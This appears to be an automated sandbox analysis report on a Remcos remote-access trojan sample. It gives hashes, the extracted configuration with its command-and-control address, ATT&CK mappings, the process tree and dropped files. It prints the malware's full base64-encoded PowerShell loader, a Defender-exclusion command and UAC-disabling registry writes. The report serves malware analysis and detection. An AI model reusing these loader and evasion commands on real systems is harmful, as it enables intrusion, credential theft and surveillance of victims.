remcos | 230d403e4d6b1f4e3a7c2e1a7fc33d0f9d34984d782cb3ffee1a3621d260609f

Analysis

max time kernel
148s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
17/05/2024, 12:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
230d403e4d6b1f4e3a7c2e1a7fc33d0f9d34984d782cb3ffee1a3621d260609f.exe
Size 1.3MB
Sample240517-p32bssab34
SHA256 230d403e4d6b1f4e3a7c2e1a7fc33d0f9d34984d782cb3ffee1a3621d260609f
MD5 a8e4c5bfdec6d09b86b1a522c2348367
SHA1 3a13ff10d314c01d9a5ecb766274757dcc508c2b
SHA512 02a663a444240847b2efc796bf2ead272c8b6d9dd678e01b9026fd42dcaad37bbc9cac2d3eb26590d66919ac0b0c10e66f27f5074ebac8c88c7709ca701620f1
SSDEEP 24576:TxB9gs/l97fTp+hmFVrWHGc6H+pvxoOXk81pRNHBoKkoR:/L7bwwBH+1xFXkwpRJZ9R
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

remcos remotehost collection evasion execution rat trojan

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

107.173.4.16:2560

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-KDW6BI
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	powershell.exe

Windows security bypass 2 TTPs 2 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	powershell.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\230d403e4d6b1f4e3a7c2e1a7fc33d0f9d34984d782cb3ffee1a3621d260609f.exe = "0"	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
896	powershell.exe
4440	powershell.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	iexplore.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 896 set thread context of 3940	896	powershell.exe	100
PID 3940 set thread context of 4336	3940	iexplore.exe	105
PID 3940 set thread context of 4324	3940	iexplore.exe	106
PID 3940 set thread context of 3428	3940	iexplore.exe	108

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
896	powershell.exe
896	powershell.exe
896	powershell.exe
896	powershell.exe
896	powershell.exe
896	powershell.exe
896	powershell.exe
896	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
3428	iexplore.exe
3428	iexplore.exe
4336	iexplore.exe
4336	iexplore.exe
4336	iexplore.exe
4336	iexplore.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
3940	iexplore.exe
3940	iexplore.exe
3940	iexplore.exe
3940	iexplore.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	896	powershell.exe
Token: SeDebugPrivilege	4440	powershell.exe
Token: SeDebugPrivilege	3428	iexplore.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3940	iexplore.exe

Suspicious use of WriteProcessMemory 34 IoCs

description	pid	Process	procid_target
PID 2324 wrote to memory of 896	2324	230d403e4d6b1f4e3a7c2e1a7fc33d0f9d34984d782cb3ffee1a3621d260609f.exe	84
PID 2324 wrote to memory of 896	2324	230d403e4d6b1f4e3a7c2e1a7fc33d0f9d34984d782cb3ffee1a3621d260609f.exe	84
PID 896 wrote to memory of 4440	896	powershell.exe	98
PID 896 wrote to memory of 4440	896	powershell.exe	98
PID 896 wrote to memory of 3940	896	powershell.exe	100
PID 896 wrote to memory of 3940	896	powershell.exe	100
PID 896 wrote to memory of 3940	896	powershell.exe	100
PID 896 wrote to memory of 3940	896	powershell.exe	100
PID 896 wrote to memory of 3940	896	powershell.exe	100
PID 896 wrote to memory of 3940	896	powershell.exe	100
PID 896 wrote to memory of 3940	896	powershell.exe	100
PID 896 wrote to memory of 3940	896	powershell.exe	100
PID 896 wrote to memory of 3940	896	powershell.exe	100
PID 896 wrote to memory of 3940	896	powershell.exe	100
PID 896 wrote to memory of 3940	896	powershell.exe	100
PID 896 wrote to memory of 3940	896	powershell.exe	100
PID 896 wrote to memory of 1664	896	powershell.exe	101
PID 896 wrote to memory of 1664	896	powershell.exe	101
PID 896 wrote to memory of 1664	896	powershell.exe	101
PID 3940 wrote to memory of 4336	3940	iexplore.exe	105
PID 3940 wrote to memory of 4336	3940	iexplore.exe	105
PID 3940 wrote to memory of 4336	3940	iexplore.exe	105
PID 3940 wrote to memory of 4336	3940	iexplore.exe	105
PID 3940 wrote to memory of 4324	3940	iexplore.exe	106
PID 3940 wrote to memory of 4324	3940	iexplore.exe	106
PID 3940 wrote to memory of 4324	3940	iexplore.exe	106
PID 3940 wrote to memory of 4324	3940	iexplore.exe	106
PID 3940 wrote to memory of 1252	3940	iexplore.exe	107
PID 3940 wrote to memory of 1252	3940	iexplore.exe	107
PID 3940 wrote to memory of 1252	3940	iexplore.exe	107
PID 3940 wrote to memory of 3428	3940	iexplore.exe	108
PID 3940 wrote to memory of 3428	3940	iexplore.exe	108
PID 3940 wrote to memory of 3428	3940	iexplore.exe	108
PID 3940 wrote to memory of 3428	3940	iexplore.exe	108

C:\Users\Admin\AppData\Local\Temp\230d403e4d6b1f4e3a7c2e1a7fc33d0f9d34984d782cb3ffee1a3621d260609f.exe
"C:\Users\Admin\AppData\Local\Temp\230d403e4d6b1f4e3a7c2e1a7fc33d0f9d34984d782cb3ffee1a3621d260609f.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgANQAwADAAMAApAAoACgAkAFQAZQBtAHAARABpAHIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAKACQAUABhAHQAdABlAHIAbgAgAD0AIAAnAGYAaQBsAGUALQAqAC4AcAB1AHQAaQBrACcACgAkAEwAYQB0AGUAcwB0AEYAaQBsAGUAIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAVABlAG0AcABEAGkAcgAgAC0ARgBpAGwAdABlAHIAIAAkAFAAYQB0AHQAZQByAG4AIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAATABhAHMAdABXAHIAaQB0AGUAVABpAG0AZQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxAAoACgBmAHUAbgBjAHQAaQBvAG4AIADjicZbIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAKWUGVMsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkABFUz5EsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAHBlbmMKACAAIAAgACAAKQAKAAoAIAAgACAAIAAkAKBSxltoViAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJACgUsZbaFYuAE0AbwBkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwBpAHAAaABlAHIATQBvAGQAZQBdADoAOgBDAEIAQwAKACAAIAAgACAAJACgUsZbaFYuAFAAYQBkAGQAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUABhAGQAZABpAG4AZwBNAG8AZABlAF0AOgA6AFAASwBDAFMANwAKAAoAIAAgACAAIAAkAOOJxltoViAAPQAgACQAoFLGW2hWLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQApZQZUywAIAAkABFUz5EpAAoAIAAgACAAIAAkAOOJxltwZW5jIAA9ACAAJADjicZbaFYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAHBlbmMsACAAMAAsACAAJABwZW5jLgBMAGUAbgBnAHQAaAApAAoACQAKACAAIAAgACAAcgBlAHQAdQByAG4AIAAkAOOJxltwZW5jCgB9AAoACgAkAKWUGVMgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAAxAEQALAAgADAAeAA4ADMALAAgADAAeABFADQALAAgADAAeABDAEEALAAgADAAeABDADAALAAgADAAeAA4AEYALAAgADAAeAA5AEEALAAgADAAeABBADYALAAgADAAeAAzAEIALAAgADAAeAAzAEEALAAgADAAeAA1AEEALAAgADAAeAAzAEQALAAgADAAeAA4ADUALAAgADAAeAA5ADcALAAgADAAeABDADkALAAgADAAeAA3ADEALAAgADAAeAAxADAALAAgADAAeAAwADcALAAgADAAeAAwADcALAAgADAAeAA5AEMALAAgADAAeAA2ADYALAAgADAAeABGAEEALAAgADAAeAA2ADMALAAgADAAeAAzAEIALAAgADAAeABGAEYALAAgADAAeABFAEEALAAgADAAeAA4ADUALAAgADAAeABBAEQALAAgADAAeAA3AEUALAAgADAAeABBAEYALAAgADAAeABBAEUALAAgADAAeAA0AEEAKQAKACQAEVTPkSAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADkAMQAsACAAMAB4AEYAMgAsACAAMAB4AEEAOQAsACAAMAB4ADUARAAsACAAMAB4ADYAOAAsACAAMAB4AEMARAAsACAAMAB4ADEANwAsACAAMAB4AEYAOQAsACAAMAB4ADYAQwAsACAAMAB4AEMAOQAsACAAMAB4ADgANQAsACAAMAB4ADUAMQAsACAAMAB4ADcANwAsACAAMAB4ADcAQQAsACAAMAB4ADgAMAAsACAAMAB4AEMANAApAAoACgBpAGYAIAAoACQATABhAHQAZQBzAHQARgBpAGwAZQAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAIdl9k7vjYRfIAA9ACAAJABMAGEAdABlAHMAdABGAGkAbABlAC4ARgB1AGwAbABOAGEAbQBlAAoAIAAgACAAIAAkAKBSxltXW4KCIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAIdl9k7vjYRfKQA7AAoAIAAgACAAIAAkAOOJxluFUblbIAA9ACAA44nGWyAALQCllBlTIAAkAKWUGVMgAC0AEVTPkSAAJAARVM+RIAAtAHBlbmMgACQAoFLGW1dbgoIKAAoAIAAgACAAIAAkAAt6j17GliAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQA44nGW4VRuVspACkAOwAKACAAIAAgACAAJABlUeNTuXAgAD0AIAAkAAt6j17Gli4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7AAoAIAAgACAAIAAkAGVR41O5cC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA
  2⤵
  - UAC bypass
  - Windows security bypass
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:896
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\230d403e4d6b1f4e3a7c2e1a7fc33d0f9d34984d782cb3ffee1a3621d260609f.exe" -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4440
- - C:\Program Files (x86)\Internet Explorer\iexplore.exe
    "C:\Program Files (x86)\Internet Explorer\iexplore.exe"
    3⤵
    - Suspicious use of SetThreadContext
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:3940
  - - C:\Program Files (x86)\Internet Explorer\iexplore.exe
      "C:\Program Files (x86)\Internet Explorer\iexplore.exe" /stext "C:\Users\Admin\AppData\Local\Temp\jqywsjvazajduiwawcvrirlwtzoh"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4336
  - - C:\Program Files (x86)\Internet Explorer\iexplore.exe
      "C:\Program Files (x86)\Internet Explorer\iexplore.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ukdhtcfunibiewsefnqttdfncnfqpzlx"
      4⤵
      Accesses Microsoft Outlook accounts
      PID:4324
  - - C:\Program Files (x86)\Internet Explorer\iexplore.exe
      "C:\Program Files (x86)\Internet Explorer\iexplore.exe" /stext "C:\Users\Admin\AppData\Local\Temp\enrz"
      4⤵
      PID:1252
  - - C:\Program Files (x86)\Internet Explorer\iexplore.exe
      "C:\Program Files (x86)\Internet Explorer\iexplore.exe" /stext "C:\Users\Admin\AppData\Local\Temp\enrz"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3428
- - C:\Program Files (x86)\Internet Explorer\iexplore.exe
    "C:\Program Files (x86)\Internet Explorer\iexplore.exe"
    3⤵
    PID:1664

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 184B
SHA256 8b68932e070b149272f08f28796c45758fa3dca94dc815805b3aa6497ca4f195
MD5 0fd6518eee76e55b4e857c2b2edaba4a
SHA1 3ea48d4942bc9e3b9d29a1fc38ee9360b2c82875
SHA512 01e25efe33fecb9d36e6e280854ce1054de2c3957447b1b865e79feece3b371bbcc4c25bb86369ae16e5a48304f87daa91bde2da7943fe81003ff1d090d88aa4
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_cmo1jwu1.5hf.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cmo1jwu1.5hf.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

file-14389.putik

Path C:\Users\Admin\AppData\Local\Temp\file-14389.putik
Size 20KB
SHA256 43847b96cb4b7f4628a4c1facea0d483f26c55ded59e22a6381693cc71c8614d
MD5 83b922683a3f569c7d876c1995b76814
SHA1 08c1c1e157f35b184825c2fec4a7f5610fe4b2d9
SHA512 5e32d09ae7a5e0e1c8baffff4b2fe3957af44be1b88248aba4e031701a4270754cd98a0a304e32fcc832ea1aef4eaf8f8d0c0902e64afa6c730c248f3ff28316
SSDEEP 384:6A01cTwWCTblpdZa4Jsdpkl/MFdjzQ2O1s6mWHe9Unx73lcX+Sv0uL1rrW1xyAcE:6bc8WCRc704NzM1p6U5lcL1fW1go
MD5 SHA1 SHA512 SSDEEP

Submit Download

jqywsjvazajduiwawcvrirlwtzoh

Path C:\Users\Admin\AppData\Local\Temp\jqywsjvazajduiwawcvrirlwtzoh
Size 4KB
SHA256 d3a2b4e44262cfbfb97652de5f54b36bfc525396d1d70dea03ab24c902dab8ef
MD5 a13985d129d8bf808cec12f9fe7b4ed3
SHA1 3981490aa1ce9401c4470f0277fda627d9236356
SHA512 5c990ca4e978b874e0863ad4bf1ccbe04499960d5c17fb16776297d22db5f168aa3a5a9863ec5a9f8286dda2f9fd96852f2dc2ef029c13ba659e33694c344887
SSDEEP 48:wvvv0axfvvcaxfdvv0axBvv0axakvv0a7:mv/xv3p1v/Pv/bv/7
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/896-30-0x00007FFE7BBA0000-0x00007FFE7C661000-memory.dmp

Download

memory/896-13-0x00007FFE7BBA0000-0x00007FFE7C661000-memory.dmp

Download

memory/896-15-0x0000028268930000-0x000002826893A000-memory.dmp

Download

memory/896-16-0x0000028269760000-0x0000028269832000-memory.dmp

Download

memory/896-2-0x0000028268370000-0x0000028268392000-memory.dmp

Download

memory/896-12-0x00007FFE7BBA0000-0x00007FFE7C661000-memory.dmp

Download

memory/896-1-0x00007FFE7BBA3000-0x00007FFE7BBA5000-memory.dmp

Download

memory/3428-37-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/3940-17-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/4324-36-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/4336-35-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/4440-33-0x00007FFE7BBA0000-0x00007FFE7C661000-memory.dmp

Download

memory/4440-29-0x00007FFE7BBA0000-0x00007FFE7C661000-memory.dmp

Download

memory/4440-28-0x00007FFE7BBA0000-0x00007FFE7C661000-memory.dmp

Download

memory/4440-27-0x00007FFE7BBA0000-0x00007FFE7C661000-memory.dmp

Download